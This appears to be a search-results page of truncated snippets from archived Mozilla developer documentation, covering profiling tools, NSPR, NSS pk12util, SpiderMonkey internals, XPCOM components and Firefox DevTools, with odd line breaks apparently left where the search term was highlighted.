similar to valgrind, but it runs faster because it uses static source code instrumentation. lsan is part of mozilla's continuous integration testing, with most tests running through it as part of the addresssanitizer (a.k.a. asan) test jobs. apple tools apple provides some tools for mac os x that report similar problems to those reported by lsan and valgrind. the "leaks" tool is not reco
mmended for use with spidermonkey or firefox, because it gets confused by tagged pointers and thinks objects have leaked when they have not (see bug 390944). leak gauge leak gauge is a tool that can be used to detect certain kinds of leaks in gecko, including those involving documents, window objects, and docshells. logalloc logalloc is a tool that dumps a log of memory allocatio...
.... profiling with shark (obsolete - replaced by instruments) how to use apple's shark tool to profile mozilla code. ...
...ormance how to figure out why restyle is taking so long power profiling power profiling overview this page provides an overview of relevant information, including details about hardware, what can be measured, and reco
mmended approaches. it should be the starting point for anybody new to power profiling. tools/power/rapl (mac, linux) tools/power/rapl is a co
mmand-line utility in the mozilla codebase that uses the intel rapl interface to gather direct power estimates for the package, cores, gpu and memory. powermetrics (mac-only) powermetrics is a co
mmand-line utility that gathers and displays a wide range of global and per-process measurements, including cpu usage, gpu usage, and various wakeups frequencies. timerfirings logging (all pla...
...And 2 more matches
Profile Manager
select the profile in the main window, and hit the "start firefox" button: firefox will be launched with that profile, and profile manager will terminate. the version of firefox which will be launched is indicated in the "firefox version" dropdown in the launch options box: there are several additional launch options available for firefox. ...
...n window, and hit the "start firefox" button: firefox will be launched with that profile, and profile manager will terminate. the version of firefox which will be launched is indicated in the "firefox version" dropdown in the launch options box: there are several additional launch options available for firefox. these cause firefox to be launched with various co
mmand-line arguments. ...
... that profile, and profile manager will terminate. the version of firefox which will be launched is indicated in the "firefox version" dropdown in the launch options box: there are several additional launch options available for firefox. these cause firefox to be launched with various co
mmand-line arguments. see co
mmand line options for a description of these. launch option co
mmand line argument run firefox in offline mode -offline run firefox in safe mode -safe-mode start firefox with a console -console start new instance -no-remote note: it isn't possible to start a second instance of firefox without passing it the -no-remote co
mmand line argument. for this reason, if you attempt to launch firefox using profil...
...And 2 more matches
Optimizing Applications For NSPR
failure attributable to the flaw has shown up in any tests or products - yet. the specific area surrounding pthread's continuation thread has been both observed and empirically proven faulty, and a correction identified. macintosh the current port of nspr for macintosh will not be usable in its own right. the implementation has dependencies on libraries that are implemented in the netscape co
mmunicator. the work to undo this dependency has already been started and the result will be made available soon. macintosh threads are not preemptable. as usual, it isn't that we couldn't preempt them, but rather that the macintosh libraries are not prepared for such things to happen. nspr does take advantage of macintosh' asynchronous i/o capability to perform scheduling during i/o. still, there ...
...e. as usual, it isn't that we couldn't preempt them, but rather that the macintosh libraries are not prepared for such things to happen. nspr does take advantage of macintosh' asynchronous i/o capability to perform scheduling during i/o. still, there is no enforceable mechanism to guarantee thread scheduling fairness. calendar time facilities are limited on macintosh. one can only determine the i
mmediate setting of daylight savings time, not what it would be at some arbitrary time in the past or the future. initialization of nspr may fail if the host is not connected to a network of some kind. win-16 http://www.sybase.com/products/languages/watccpl.html the win-16 port is unique in the nspr world in that it uses the watcom development environment. this environment does bring along some...
...means that nspr threads use a shadow stack to preserve context across a thread switch. at thread switch time, the stack of the current running thread is copied to other storage associated with that thread and the about-to-be-dispatched thread's stack data is copied back onto the windows stack just before the thread is given control. this has disastrous implications on the generally accepted progra
mming practice of taking the address of a stack variable and giving that address to another thread. consider that the windows stack is swapped in and out with each thread switch. the thread that created a stack variable sees his own stack variables correctly across thread switches. however, another thread does not see the data as intended because the stack has been swapped out to the shadow stack a...
...And 2 more matches
NSS tools : pk12util
rt9.db, key4.db, and pkcs11.txt). if the prefix sql: is not used, then the tool assumes that the given databases are in the old format. -h tokenname specify the name of the token to import into or export from. -k slotpasswordfile specify the text file containing the slot's password. -k slotpassword specify the slot's password. -m | --key-len keylength specify the desired length of the sy
mmetric key to be used to encrypt the private key. -n | --cert-key-len certkeylength specify the desired length of the sy
mmetric key to be used to encrypt the certificates and other meta-data. -n certname specify the nickname of the cert and private key to export. -p prefix specify the prefix used on the certificate and key databases. this option is provided as a special case. changing the ...
... -r dumps all of the data in raw (binary) form. this must be saved as a der file. the default is to return information in a pretty-print ascii format, which displays the information about the certificates and public keys in the p12 file. -v enable debug logging when importing. ...
...k12util -i /tmp/cert-files/users.p12 -d sql:/home/my/sharednssdb enter a password which will be used to encrypt your keys. the password should be at least 8 characters long, and should contain at least one non-alphabetic character. enter new password: re-enter password: enter password for pkcs12 file: pk12util: pkcs12 import successful exporting keys and certificates using the pk12util co
mmand to export certificates and keys requires both the name of the certificate to extract from the database (-n) and the pkcs#12-formatted output file to write to. there are optional parameters that can be used to encrypt the file to protect the certificate material. pk12util -o p12file -n certname [-c keycipher] [-c certcipher] [-m|--key_len keylen] [-n|--cert_key_len certkeylen] [-d [sql:]dir...
...And 2 more matches
SpiderMonkey Internals
onkey's interpreter is mainly a single, tremendously long function that steps through the bytecode one instruction at a time, using a switch statement (or faster alternative, depending on the compiler) to jump to the appropriate chunk of code for the current instruction. a js-to-js function call pushes a javascript stack frame without growing the c stack. but since js-to-c-to-js call stacks are co
mmon, the interpreter is reentrant. some spidermonkey bytecode operations have many special cases, depending on the type of their arguments. co
mmon cases are inlined in the interpreter loop, breaking any abstractions that stand in the way. so optimizations such as dense arrays and the property cache are, alas, not transparently tucked away in the jsarray.* and jsobj.* files. both guest-star in jsin...
...nd a few codegen optimizations; about the fanciest thing it does is to attach source notes to the script for the decompiler's benefit. the decompiler implements function.tosource(), which reconstructs a function's source code. it translates postfix bytecode into infix source by consulting a separate byte-sized code, called source notes, to disambiguate bytecodes that result from more than one gra
mmatical production. garbage collector the gc is a mark-and-sweep, non-conservative (exact) collector. it is used to hold js objects and string descriptors (jsstring), but not string bytes. it runs automatically only when maxbytes (as passed to js_newruntime) bytes of gc things have been allocated and another thing-allocation request is made. js api users should call js_gc or js_maybegc between sc...
...vector, called the slots. each property has an id, either a nonnegative integer or an atom (unique string), with the same tagged-pointer encoding as a jsval. the atom manager consists of a hash table associating strings uniquely with scanner/parser information such as keyword type, index in script or function literal pool, etc. atoms play three roles: as literals referred to by unaligned 16-bit i
mmediate bytecode operands, as unique string descriptors for efficient property name hashing, and as members of the root gc set for exact gc. standard library the methods for arrays, booleans, dates, functions, numbers, and strings are implemented using the js api. most are jsfastnatives. most string methods are customized to accept a primitive string as the this argument. (otherwise, spidermonkey...
...And 2 more matches
JIT Optimization Strategies
ge has two intended uses: 1. provide a repository of jit optimization strategy information which the jit coach tool can parse to display in its ui. 2. provide a user-browsable documentation of optimization strategies, how they work, how they are defeated, and options for how to re-enable them. spidermonkey's optimizing jit, ionmonkey, uses various strategies to optimize operations. the most co
mmonplace operations that are relevant for fast program execution are property accesses and function calls. optimization information is currently collected for the following operations: getproperty (obj.prop) setproperty (obj.prop = val) getelement (obj[elemname]) setelement (obj[elemname] = val) call (func(...)) at each operation site, ionmonkey tries a battery of strategies, from the mos...
...t least restrictive. for each strategy attempted, its outcome is tracked. an outcome is either success or a reason why the strategy failed to apply. this page documents the various optimization strategies and their outcomes. it provides information on what they attempt to do, what general level of speed-up they provide, what kind of program characteristics can prevent them from being used, and co
mmon ways to enable the engine to utilize that optimization. getproperty getproperty_argumentslength attempts to optimize an arguments.length property access. this optimization only works if the arguments object is used in well-understood ways within the function. the function containing the arguments.length is allowed to use the arguments object in the following ways without disabling this optim...
...ues of one kind of value. consider the following constructor: function point(x, y) { this.x = x; this.y = y; } if only integers are ever stored in the x and y properties, then the instances of point will be represented in an "unboxed" mode - with the property values stored as raw 4-byte values within the object. objects which have the unboxed optimization are more compact. getprop_co
mmongetter optimizes access to properties which are implemented by a getter function, where the getter is shared between multiple types. this optimization applies most often when the property access site is polymorphic, but all the object types are derived variants of a single base class, where the property access refers to a getter on the base class. consider the following example: function base...
...And 2 more matches
Parser API
ne spidermonkey shell include a reflection of the spidermonkey parser, made available as a javascript api. this makes it easier to write tools in javascript that manipulate javascript source programs, such as syntax highlighters, static analyses, translators, compilers, obfuscators, etc. note: this page describes spidermonkey-specific behavior and might be incomplete. visit estree spec for a co
mmunity ast standard that includes latest ecmascript features and is backward-compatible with spidermonkey format. example: > var expr = reflect.parse("obj.foo + 42").body[0].expression > expr.left.property ({loc:null, type:"identifier", name:"foo"}) > expr.right ({loc:{source:null, start:{line:1, column:10}, end:{line:1, column:12}}, type:"literal", value:42}) it is also available since firefo...
... params: [ pattern ]; defaults: [ expression ]; rest: identifier | null; body: blockstatement | expression; generator: boolean; expression: boolean; } a fat arrow function expression, i.e., `let foo = (bar) => { /* body */ }`. interface sequenceexpression <: expression { type: "sequenceexpression"; expressions: [ expression ]; } a sequence expression, i.e., a co
mma-separated sequence of expressions. interface unaryexpression <: expression { type: "unaryexpression"; operator: unaryoperator; prefix: boolean; argument: expression; } a unary operator expression. interface binaryexpression <: expression { type: "binaryexpression"; operator: binaryoperator; left: expression; right: expression; } a binary operator expression. ...
...ttag <: xml { type: "xmlpointtag"; contents: [ xml ]; } an xml point tag. interface xmlname <: xml { type: "xmlname"; contents: string | [ xml ]; } an xml name. interface xmlattribute <: xml { type: "xmlattribute"; value: string; } an xml attribute value. interface xmlcdata <: xml { type: "xmlcdata"; contents: string; } an xml cdata node. interface xmlco
mment <: xml { type: "xmlco
mment"; contents: string; } an xml co
mment. interface xmlprocessinginstruction <: xml { type: "xmlprocessinginstruction"; target: string; contents: string | null; } an xml processing instruction. builder objects the optional builder parameter to reflect.parse() makes it possible to construct user-specified data from the parser, rather than the de...
...And 2 more matches
Shell global objects
note: this list overlaps with "built-in functions" in introduction to the javascript shell and is probably not complete. see js/src/shell/js.cpp (around shell_functions) for more. this page lists variables and functions available on spidermonkey 53. there may be some difference between each versions. you can get the list of functions by help() function in js shell. variables scriptargs an array that contains arguments passed to js shell. scriptpath a string that is a path of script. ...
...ttributename if present and not undefined, the name of property of element that holds this code. this is what debugger.source.prototype.elementattributename returns. sourcemapurl if present with value v, convert v to a string, and provide that as the code's source map url. if omitted, attach no source map url to the code (although the code may provide one itself, via a //#sourcemappingurl co
mment). sourceislazy if present and true, indicates that, after compilation, script source should not be cached by the js engine and should be lazily loaded from the embedding as-needed. loadbytecode if true, and if the source is a cacheentryobject, the bytecode would be loaded and decoded from the cache entry instead of being parsed, then it would be executed as usual. savebytecode if t...
... principal subsumes another if its set bits are a superset of the other's. thus, a principal of 0 subsumes nothing, while a principals of ~0 subsumes all other principals. the absence of a principal is treated as if its bits were 0xffff, for subsumption purposes. if this property is omitted, supply no principal. createmappedarraybuffer(filename, [offset, [size]]) create an array buffer that
mmaps the given file. addpromisereactions(promise, onresolve, onreject) calls the js::addpromisereactions jsapi function with the given arguments. getmaxargs() return the maximum number of supported args for a call. objectemulatingundefined() return a new object obj for which typeof obj === "undefined", obj == null and obj == undefined (and vice versa for !=), and toboolean(obj) === false. is...
...And 2 more matches
How to build an XPCOM component in JavaScript
for xpidl.exe and it will run with no errors but not do anything. to fix this download the mozilla build tools for windows and copy the dlls from windows\bin\x86 within the zip into the bin directory of the gecko sdk. note: the mac version of the sdk provided for download is powerpc-only. if you need an intel version, you'll need to compile it yourself as described on that page. execute this co
mmand to compile the typelib. here, {sdk_dir} is the directory in which you unpacked the gecko sdk. {sdk_dir}/bin/xpidl -m typelib -w -v -i {sdk_dir}/idl -e helloworld.xpt helloworld.idl note: on windows you must use forward slashes for the include path. note: (the -i flag is an uppercase i, not a lowercase l.) this will create the typelib file helloworld.xpt in the current working directory. ...
...tain one at http://mozilla.org/mpl/2.0/. ...
...mutils.jsm"); then implement your interface the same way you did above, except with a few modifications so that xpcomutils can set it up properly: /*********************************************************** class definition ***********************************************************/ //class constructor function helloworld() { // if you only need to access your component from javascript, unco
mment the following line: //this.wrappedjsobject = this; } // class definition helloworld.prototype = { // properties required for xpcom registration: classdescription: "my hello world javascript xpcom component", classid: components.id("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"), contractid: "@dietrich.ganx4.com/helloworld;1", // [optional] custom factory (an object implem...
...And 2 more matches
Using XPCOM Utilities to Make Things Easier
ng that names the module. in a debugging environment, this string will be printed to the screen when the component library is loaded or unloaded. you should pick a name that makes sense and helps you keep track of things. the four required parts[other-parts] of the structure contain the following information: a human readable class name the class id (cid) the contract id (an optional but reco
mmended argument) a constructor for the given object static const nsmodulecomponentinfo components[] = { { "pretty class name", cid, contract_id, constructor }, // ... }; the important thing to note in the fictitious listing above is that it can support multiple components in a module. modules such as the networking libraries in gecko ("necko") have over 50 components declared...
...ion called concreteclassconstructor that can be used in the nsmodulecomponentinfo structure. #include "nsigenericfactory.h" static const nsmodulecomponentinfo components[] = { { "pretty class name", sample_cid, "@company.com/sample", sampleconstructor } } ns_impl_nsgetmodule(nssamplemodule, components) most of the components in the mozilla browser client use this approach. co
mmon implementation macros every xpcom object implements nsisupports, but writing this implementation over and over is tedious. unless you have very special requirements for managing reference counting or handling interface discovery, theimplementation macros that xpcom provides can be used. instead of implementing the nsisupports yourself, ns_impl_isupports1 can expand to the implementation of add...
... xpcom provides can be used. instead of implementing the nsisupports yourself, ns_impl_isupports1 can expand to the implementation of addref, release, and queryinterface for any object. ns_impl_isupports1(classname, interface1) also, if you implement more than one interface, you can simply change the 1 in the macro to the number of interfaces you support and list the interfaces, separated by co
mmas. for example: ns_impl_isupports2(classname, interface1, interface2) ns_impl_isupportsn(classname, interface1, ..., interfacen) these macros automatically add the nsisupports entry for you, so you don't need to do something like this: ns_impl_isupports2(classname, interface1, nsisupports) take a close look at the above example. note that it uses the actual name of the interface and not a...
...And 2 more matches
XPCShell Reference
(setting this option disables the "interactive" mode) -f this option specifies a script file to execute. xpcshell terminates upon script completion. you can specify multiple js files to execute by using multiple -f arguments, and the scripts will be executed in the order encountered. furthermore, xpcshell looks for xpcshell.js in the current directory. if that file is found, it is executed before any other js files specified. -g this option specifies which gecko runtime environment directory (gredir) to use for xpcom. ...
...ese are arguments to be passed to the script. these arguments are only passed to “scriptfile” and not the scripts designated by –f options. these arguments appear on the global property arguments. for instance, assume that you have a file called test.js with the following contents: for (prop in arguments) { print(prop + "=" + arguments[prop]); } entering the following at the co
mmand line should produce the following output: $ xpcshell test.js this is a test 0=this 1=is 2=a 3=test xpcshell extensions once you execute xpcshell without a script you'll be at the js> co
mmand line. the following are some useful functions that can be invoked from the co
mmand line: clear(object) clear() removes all properties from an object. for example, if you created anobject with a pr...
... example, if you created anobject with a property named value and then called clear(anobject), the property value would no longer exist. gc(heapdumpfilename) gc() will invoke garbage collection. it takes an optional argument that can be used to dump the heap to. if specified, it should equate to a valid filename. load(scriptfilename) load() allows you to load and run a script from the co
mmand line. for example, load("myscript.js") will execute the script myscript.js in the current directory. print(obj1, obj2, …) print() is useful to print something to the screen. it dumps whatever is passed to the screen, putting spaces between arguments and appending a newline at the end. an example print(1, 2, 3) will print 1 2 3<newline>. dump(object) dump() is almost like print. it ...
...And 2 more matches
mozIStorageConnection
ird 3.3 / seamonkey 2.1) for a general overview on how to use this interface, see storage. ...
...rted as 0 if it is not set. transactioninprogress boolean returns true if there is a transaction in progress on the database. otherwise returns false. read only. constants transaction execution time constants. constant value description transaction_deferred 0 no database lock is obtained until the first statement is run. transaction_i
mmediate 1 a reserved lock is obtained on the database. transaction_exclusive 2 an exclusive lock is obtained on the database. sqlite database page size constant constant value description default_page_size 32768 the default size for sqlite database pages. this is used by the storage api when creating new databases, and must match the sqlite...
...so you don't have to worry about them. note: the database engine does not support nested transactions, so attempting to start a transaction when one is already active will throw an exception. void begintransactionas( in print32 transactiontype ); parameters transactiontype one of the transaction constants (mozistorageconnection.transaction_deferred, mozistorageconnection.transaction_i
mmediate, mozistorageconnection.transaction_exclusive) clone() clones a database connection, optionally making the new connection read only. note: if your connection is already read-only, you will get a read-only clone. note: due to a bug in sqlite, if you use the shared cache (by calling mozistorageservice.opendatabase()), the cloned connection's access privileges will be the same as the origi...
...And 2 more matches
nsIController
content/xul/document/public/nsicontroller.idlscriptable an interface that can be implemented to receive and process co
mmands and events. inherits from: nsisupports last changed in gecko 1.7 method overview void doco
mmand(in string co
mmand); boolean isco
mmandenabled(in string co
mmand); void onevent(in string eventname); boolean supportsco
mmand(in string co
mmand); methods doco
mmand() when this method is called, your implementation should execute the co
mmand with the specified name. void doco
mmand( in string co
mmand ); parameters co
mmand the name of the co
mmand to execute. ...
...verview void doco
mmand(in string co
mmand); boolean isco
mmandenabled(in string co
mmand); void onevent(in string eventname); boolean supportsco
mmand(in string co
mmand); methods doco
mmand() when this method is called, your implementation should execute the co
mmand with the specified name. void doco
mmand( in string co
mmand ); parameters co
mmand the name of the co
mmand to execute. isco
mmandenabled() implement this method to indicate whether or not the specified co
mmand is enabled. boolean isco
mmandenabled( in string co
mmand ); parameters co
mmand the name of the co
mmand whose availability is to be checked. return value return true if the specified co
mmand is currently available to be used; otherwise, it should return false. onevent() implement this method to process the event...
... co
mmand ); parameters co
mmand the name of the co
mmand whose availability is to be checked. return value return true if the specified co
mmand is currently available to be used; otherwise, it should return false. onevent() implement this method to process the event with the specified name. void onevent( in string eventname ); parameters eventname the name of the event to process. supportsco
mmand() implement this method to report whether or not the co
mmand with the specified name is supported. boolean supportsco
mmand( in string co
mmand ); parameters co
mmand the name of the co
mmand to determine whether or not it is supported. return value true if the specified co
mmand is supported; otherwise false. ...
...And 2 more matches
nsIControllers
xul elements can also have controllers, although they do not have any default controllers. ...
...nts.classes["@mozilla.org/xul/xul-controllers;1"] .createinstance(components.interfaces.nsicontrollers); method overview void appendcontroller(in nsicontroller controller); nsicontroller getcontrollerat(in unsigned long index); nsicontroller getcontrollerbyid(in unsigned long controllerid); unsigned long getcontrollercount(); nsicontroller getcontrollerforco
mmand(in string co
mmand); unsigned long getcontrollerid(in nsicontroller controller); void insertcontrollerat(in unsigned long index, in nsicontroller controller); void removecontroller(in nsicontroller controller); nsicontroller removecontrollerat(in unsigned long index); attributes attribute type description co
mmanddispatcher nsidomxulco
mmanddispatcher obsolete since gecko 1.9 m...
...t that was inserted with that id. exceptions thrown ns_error_failure the id is greater than the number of controllers that have been inserted, or the controller has since been removed. getcontrollercount() returns the current number of controllers. unsigned long getcontrollercount(); parameters none. return value the number of controllers currently in the list of controllers. getcontrollerforco
mmand() searches for a controller that supports the given co
mmand. nsicontroller getcontrollerforco
mmand( in string co
mmand ); parameters co
mmand the name of a co
mmand, e.g. cmd_copy return value the first controller in the list that supports the given co
mmand. getcontrollerid() returns the order of insertion of a controller. unsigned long getcontrollerid( in nsicontroller controller ); para...
...And 2 more matches
nsIMacDockSupport
nherits from: nsimacdocksupport last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) implemented by: @mozilla.org/cookie-monster;1. to create an instance, use: var dock = components.classes["@mozilla.org/widget/macdocksupport;1"] .getservice(components.interfaces.nsimacdocksupport); see working with the mac os x dock for details and examples. method su
mmary void activateapplication(in boolean aignoreotherapplications); attributes attribute type description badgetext astring text to display in a badge on the application's dock icon. this can be used, for example, to display the number of unread messages in an email client. dockmenu nsistandalonemenu the menu to display when the user righ...
...teelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menupopup'); macmenu.setattribute('id', 'mymacmenu'); var macmenuitem = win.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menuitem'); macmenuitem.setattribute('label', 'show most recent window'); macmenuitem.setattribute('id', 'mymacmenuitem'); macmenuitem.addeventlistener('co
mmand', function(){ var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); docksupport.activateapplication(true); services.wm.getmostrecentwindow(null).focus() }) macmenu.appendchild(macmenuitem); var mainpopupset = win.document.getelementbyid('mainpopupset'); mainpopupset.appendchild(macmenu); let dockmenuelement = macmenu; //document.getelementbyid("m...
...dockmenu = nativemenu; this replaces the default menu with this one menuitem that says "show most recent window". notice the activateapplication(true), if this is not done then firefox will not be activated. the result of this code is shown below. notice how the "new window" and "new private window" menuitem's are missing. ...
...And 2 more matches
XPCOM Interface Reference
serhistorynsibrowsersearchservicensicrlinfonsicrlmanagernsicachensicachedeviceinfonsicacheentrydescriptornsicacheentryinfonsicachelistenernsicachemetadatavisitornsicacheservicensicachesessionnsicachevisitornsicachingchannelnsicancelablensicategorymanagernsichannelnsichanneleventsinknsichannelpolicynsicharsetresolvernsichromeframemessagemanagernsichromeregistrynsiclassinfonsiclipboardnsiclipboardco
mmandsnsiclipboarddragdrophooklistnsiclipboarddragdrophooksnsiclipboardhelpernsiclipboardownernsicollectionnsico
mmandcontrollernsico
mmandlinensico
mmandlinehandlernsico
mmandlinerunnernsicomponentmanagernsicomponentregistrarnsicompositionstringsynthesizernsiconsolelistenernsiconsolemessagensiconsoleservicensicontainerboxobjectnsicontentframemessagemanagernsicontentprefnsicontentprefcallback2nsicontent...
...mfilelistnsidomfilereadernsidomfontfacensidomfontfacelistnsidomgeogeolocationnsidomgeopositionnsidomgeopositionaddressnsidomgeopositioncallbacknsidomgeopositioncoordsnsidomgeopositionerrornsidomgeopositionerrorcallbacknsidomgeopositionoptionsnsidomglobalpropertyinitializernsidomhtmlaudioelementnsidomhtmlformelementnsidomhtmlmediaelementnsidomhtmlsourceelementnsidomhtmltimerangesnsidomjswindownsido
mmousescrolleventnsido
mmoznetworkstatsnsido
mmoznetworkstatsdatansido
mmoznetworkstatsmanagernsido
mmoztoucheventnsidomnshtmldocumentnsidomnavigatordesktopnotificationnsidomnodensidomofflineresourcelistnsidomorientationeventnsidomparsernsidomprogresseventnsidomserializernsidomsimplegestureeventnsidomstoragensidomstorage2nsidomstorageeventobsoletensidomstorageitemnsidomstoragelistnsidomstoragemanagernsi...
...cryptonsiloginmanageriemigrationhelpernsiloginmanagerprompternsiloginmanagerstoragensiloginmetainfonsimimeinputstreamnsimacdocksupportnsimarkupdocumentviewernsimemorynsimemorymultireporternsimemorymultireportercallbacknsimemoryreporternsimemoryreportermanagernsimenuboxobjectnsimessagebroadcasternsimessagelistenernsimessagelistenermanagernsimessagesendernsimessagewakeupservicensimessengernsimicrosu
mmarynsimicrosu
mmarygeneratornsimicrosu
mmaryobservernsimicrosu
mmaryservicensimicrosu
mmarysetnsimimeconverternsimimeheadersnsimodulensimsgaccountnsimsgaccountmanagerextensionnsimsgcompfieldsnsimsgcustomcolumnhandlernsimsgdbhdrnsimsgdbviewnsimsgdbviewco
mmandupdaternsimsgdatabasensimsgfilternsimsgfiltercustomactionnsimsgfilterlistnsimsgfoldernsimsgheaderparsernsimsgidentitynsimsgincomingservernsimsgmes...
...And 2 more matches
XPCOM Thread Synchronization
primitives are merely bare-minimum wrappers around nspr's. this article covers the api of mozilla synchronization only. for a higher-level introduction to thread synchronization, see introduction_to_nspr. quick reference: difference between nsautolock api and new api old construction note: this is deprecated code that is shown only to compare with approved code. ...
... thread synchronization, see introduction_to_nspr. quick reference: difference between nsautolock api and new api old construction note: this is deprecated code that is shown only to compare with approved code. prlock* mlock; prmonitor*
mmonitor; prcondvar* mcvar; fooconstructor() { } nsresult init() { mlock = nsautolock::newlock("foo lock"); // check for null
mmonitor = nsautomonitor::newmonitor("foo monitor"); // check for null mcvar = pr_newcondvar(mrawlock); // check for null // ... ...
... prmonitor*
mmonitor; prcondvar* mcvar; fooconstructor() { } nsresult init() { mlock = nsautolock::newlock("foo lock"); // check for null
mmonitor = nsautomonitor::newmonitor("foo monitor"); // check for null mcvar = pr_newcondvar(mrawlock); // check for null // ... } new construction using namespace mozilla; mutex mlock; monitor
mmonitor; condvar mcvar; fooconstructor() : mlock("foo lock"),
mmonitor("foo monitor"), mcvar(mlock, "foo condvar") { } nsresult init() { // ... } old usage note: this is deprecated code that is shown only to compare with approved code. ...
...And 2 more matches
Troubleshooting XPCOM components registration
you can be certain that a component has failed to register by going to the error console and evaluating components.classes["contract-id"].name where contract-id is your contract id. ...
...nstead of an error, the component was successfully registered and this is the wrong page. load failure of binary components on the mozilla trunk (firefox 3, xulrunner 1.9), components that fail to load will print an error to the error console. chrome errors must be enabled. if the error appears, you can use nspr logging to see additional information about the failure by running firefox from a co
mmand prompt: rem close all firefox windows! set nspr_log_modules=nsnativemoduleloader:5 set nspr_log_file=c:\path\to\logfile "c:\program files\mozilla firefox\firefox.exe" examining this log for warning and errors may provide valuable clues why the component failed to load. if using firefox 4 / xulrunner 2.0, make sure that your extension is unpacked and you declared the binary component in you...
...le=c:\path\to\logfile "c:\program files\mozilla firefox\firefox.exe" examining this log for warning and errors may provide valuable clues why the component failed to load. if using firefox 4 / xulrunner 2.0, make sure that your extension is unpacked and you declared the binary component in your chrome.manifest. see xpcom changes in gecko 2.0 parsing errors in javascript components the most co
mmon reason for components written in javascript to fail is that there are parsing errors. these parsing errors should show up in the error console if chrome errors are enabled. to learn more about enabling chrome errors, see "how can i see errors in my code" in the extension faqs. registration failure if the module is loading correctly but doesn't register its components, try adding calls to comp...
...And 2 more matches
LDAP Support
oks and ldap directories. for large companies, there may be a large number of users in the directory with the same name. in such a scenario, it may be hard to tell which person you really want to send the message to. in thunderbird, the type down window can be customized to show arbitrary ldap fields. this can be accomplished by setting the following preferences: user_pref("mail.autocomplete.co
mmentcolumn", 2); user_pref("ldap_2.servers.directoryname.autocomplete.co
mmentformat", "[ou]"); the first preference tells us to use a co
mment column in the type down (the default value is 0 for no co
mment), and that the value for the co
mment is a custom string unique to each directory. the co
mmentformat preference is set on each directory. it acts as a template, specifying the extra ldap attrib...
...it expects the following format: the desired ldap attribute should be wrapped in square brackets. in this example, we are setting the organization unit as the ldap attribute. you can also insert arbitrary text to clarify the ldap attribute. i.e. ...
... expects the following format: the desired ldap attribute should be wrapped in square brackets. in this example, we are setting the organization unit as the ldap attribute. you can also insert arbitrary text to clarify the ldap attribute. i.e. "department: [ou]" would yield a type down entry that looks like "john smit department: client engineering". ldap schema the following table su
mmarizes the schema used by thunderbird to map between ldap attributes and attributes within the the address book. some notes about the relationship: there is a many to one relationship between ldap attributes and its address book counterpart. there is a one to one relationship between a address book attribute and its ldap counterpart. if there are multiple entries for a address book attribute, ...
...And 2 more matches
Mailnews and Mail code review requirements
or reviewing patches to the mozilla/mailnews and mozilla/mail directories. thunderbird and seamonkey are the primary users of the code in mozilla/mailnews. thunderbird's front-end code is stored in mozilla/mail. (a fair amount of this code is forked from code in the mailnews/ directory). mailnews and mail review rules patches affecting thunderbird user experience or interfaces note: it is reco
mmended that when working on bugs that affect user experience or interfaces, that ui-review is obtained at an early stage in the patch development process. getting early ui-reviews this reduces the chance that work is rejected due to needing further user experience changes, and hence is aimed at saving time for the developer and reviewers. all patches that affect user experience or interfaces on...
...nge to any api, all changes that affect how code modules interact. see the full super-review policy for more details. unit test rules patches are required to include automated tests which are run during make check or via mozmill in thunderbird, but submitters are encouraged to request exceptions from reviewers in cases where the cost is believed to outweigh the benefit. once unit tests are co
mmitted, the in-testsuite+ flag should be set on the bug. unit tests must be included in patches and reviewed just like any other code. if an automated test framework is needed but is not yet available, the developer is encouraged to write appropriate test code and co
mmit it. a bug should be filed on the needed test framework. the in-testsuite? flag should be set on the bug until the framework has...
...r intermittently failing ("orange") test fixes/debugging in order to make it easier to debug and fix tests that fail intermittently ("intermittent orange" tests), we have created the following two rubber-stamps based on this proposal on the tb-planning mailing list. ...
...And 2 more matches
Working with windows in chrome code
tion, as described below. you can get a window object from a document using document.defaultview. content windows when a xul window contains a widget capable of displaying a page, such as <browser> or <iframe>, the document in that widget is, naturally, separate from the document of the chrome window itself. there also is a window object for each sub-document, although there's no window in a co
mmon sense for the sub-document. the same holds for chrome windows opened inside a tab of <tabbrowser>. the elements above the chrome document opened in the tab are separate from your chrome document. the following two subsections describe how to cross chrome-content boundaries in either way, i.e. accessing elements which are ancestors of your chrome document, or accessing elements which are desce...
...you can find the window's opener using its window.opener property or via a callback function passed to the window in a way described in the previous section. let...
...revious example to notify the opener when the user presses cancel on the progress dialog. using window.opener. the opener property returns its window's opener; that is, the window object that opened it. if we're sure the window that opened the progress dialog declares the canceloperation function, we can use window.opener.canceloperation() to notify it, like this: <button label="cancel" onco
mmand="opener.canceloperation(); close();" /> using a callback function. alternatively, the opener window can pass a callback function to the progress dialog in the same way we passed the status string in the previous example: function oncancel() { alert("operation canceled!"); } ... window.opendialog( "chrome://test/content/progress.xul", "myprogress", "chrome,centerscreen", {status...
...And 2 more matches
Page inspector keyboard shortcuts - Firefox Developer Tools
co
mmand windows macos linux inspect element ctrl + shift + c cmd + shift + c ctrl + shift + c node picker these shortcuts work while the node picker is active. co
mmand windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane. ...
...ese shortcuts work while the node picker is active. co
mmand windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane. ...
...c cmd + c ctrl + c scroll the selected node into view s s s find the next match in the markup, when searching is active enter return enter find the previous match in the markup, when searching is active shift + enter shift + return shift + enter breadcrumbs bar these shortcuts work when the breadcrumbs bar is focused. ...
...And 2 more matches
Intensive JavaScript - Firefox Developer Tools
ls us what kinds of operations the browser is doing during the recording. the pink says that we are mostly performing css calculations and possibly reflow: this is the css animation that's running throughout the profile. then there are three solid blocks of orange, representing javascript execution, one for each time we pressed the button. the bottom half, which is correlated with the timeline su
mmary in time, shows frame rate. we can see that frame rate is pretty healthy for most of the recording, but collapses completely whenever we press the button. we can select one of these periods and have a closer look at it in the main waterfall view: here, when we pressed the button, the browser ran a javascript function, or series of functions, that blocked the main thread for 71.73ms, or more...
... or series of functions, that blocked the main thread for 71.73ms, or more than four times our frame budget. which function, though? by switching to the flame chart view we can find out: this shows us the js call stack at this point in the execution. at the top of the stack is a function called calculateprimes(), and we can see its filename and line number. ...
